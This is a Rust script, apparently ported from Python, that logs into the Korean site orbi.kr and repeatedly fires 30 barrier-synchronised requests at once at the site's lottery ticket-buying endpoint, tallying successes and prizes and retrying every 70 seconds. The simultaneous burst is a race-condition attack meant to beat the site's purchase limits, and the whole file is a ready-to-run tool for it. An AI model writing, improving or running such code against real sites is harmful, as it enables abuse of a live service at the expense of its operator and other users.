.

파이썬에서 rust로 수정

use reqwest::{header, Client, Response};

use reqwest::cookie::Jar;

use std::sync::{Arc, atomic::{AtomicUsize, Ordering}};

use tokio::time::{sleep, Duration};

use std::error::Error;

use dashmap::DashMap;

use std::io::{self, Write};

use futures::stream::{FuturesUnordered, StreamExt};

use tokio::sync::{Barrier, Semaphore};

use serde_json::Value;

#[tokio::main]

async fn main() -> Result<(), Box<dyn Error>> {

    let jar = Arc::new(Jar::default());

    let mut headers = header::HeaderMap::new();

    headers.insert("accept", header::HeaderValue::from_static("application/json, text/plain, */*"));

    headers.insert("accept-language", header::HeaderValue::from_static("ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7"));

    headers.insert("cache-control", header::HeaderValue::from_static("no-cache"));

    headers.insert("x-requested-with", header::HeaderValue::from_static("XMLHttpRequest"));

    headers.insert("connection", header::HeaderValue::from_static("keep-alive"));

    let fire_client = Arc::new(Client::builder()

        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")

        .default_headers(headers)

        .cookie_provider(Arc::clone(&jar))

        .tcp_nodelay(true)

        .http1_only()

        .pool_max_idle_per_host(100)

        .build()?);

    println!("Attempting Login");

    let login_params = [

        ("url", "https://orbi.kr/amusement/lottery"),

        ("username", "아이디"),

        ("password", "비번"),

    ];

    let login_res: Response = fire_client.post("https://login.orbi.kr/login")

        .header("content-type", "application/x-www-form-urlencoded; charset=UTF-8")

        .form(&login_params)

        .send()

        .await?;

    if !login_res.status().is_success() {

        println!("Login Failed: {}", login_res.status());

        return Ok(());

    }

    println!("Login Success. Protocol: {:?}", login_res.version());

    let url = "https://orbi.kr/amusement/lottery/buy_ticket";

    loop {

        println!("\n[ACTION] Pre-building 30-round burst fire payloads...");

        let success_count = Arc::new(AtomicUsize::new(0));

        let prizes: Arc<DashMap<i64, usize>> = Arc::new(DashMap::new());

        let barrier = Arc::new(Barrier::new(31));

        let fire_semaphore = Arc::new(Semaphore::new(30));

        let mut requests = Vec::with_capacity(30);

        for _ in 0..30 {

            requests.push(fire_client.post(url).build()?);

        }

        let mut worker_handles = Vec::with_capacity(30);

        println!("[ACTION] Spawning 30 tasks to the runtime...");

        for req in requests {

            let client_ref = Arc::clone(&fire_client);

            let b_ref = Arc::clone(&barrier);

            let s_ref = Arc::clone(&fire_semaphore);

            let handle = tokio::spawn(async move {

                let _permit = s_ref.acquire().await.unwrap();

                b_ref.wait().await;

                client_ref.execute(req).await

            });

            worker_handles.push(handle);

        }

        print!("[ACTION] Synchronizing with spawned tasks...");

        io::stdout().flush().unwrap();

        barrier.wait().await;

        println!(" FIRE!");

        let mut responses = Vec::with_capacity(30);

        for handle in worker_handles {

            if let Ok(Ok(res)) = handle.await {

                responses.push(res);

            }

        }

        println!("\n[ACTION] Analyzing impact data from the void...");

        let mut analysis_tasks = FuturesUnordered::new();

        for response in responses {

            let s_count = Arc::clone(&success_count);

            let p_map = Arc::clone(&prizes);

            analysis_tasks.push(async move {

                if response.status().is_success() {

                    if let Ok(bytes) = response.bytes().await {

                        let json: Option<Value> = serde_json::from_slice(&bytes).ok();

                        if let Some(j) = json {

                            if j["success"].as_bool().unwrap_or(false) {

                                s_count.fetch_add(1, Ordering::Relaxed);

                            }

                            if let Some(p_type) = j["data"]["prize_type"].as_i64() {

                                if p_type > 0 {

                                    p_map.entry(p_type).and_modify(|e| *e += 1).or_insert(1);

                                }

                            }

                        }

                    }

                }

            });

        }

        while let Some(_) = analysis_tasks.next().await {}

        println!("[REPORT] {}/30 Success (Spawned Barrier Strike)", success_count.load(Ordering::Relaxed));

        for entry in prizes.iter() {

            let k: i64 = *entry.key();

            let v: usize = *entry.value();

            println!(" >> Prize Type {}: {} ea", k, v);

        }

        for i in (1..=70).rev() {  

            print!("\rNext attempt in {}s...   ", i);

            io::stdout().flush().unwrap();

            sleep(Duration::from_secs(1)).await;

        }

        println!();

    }

}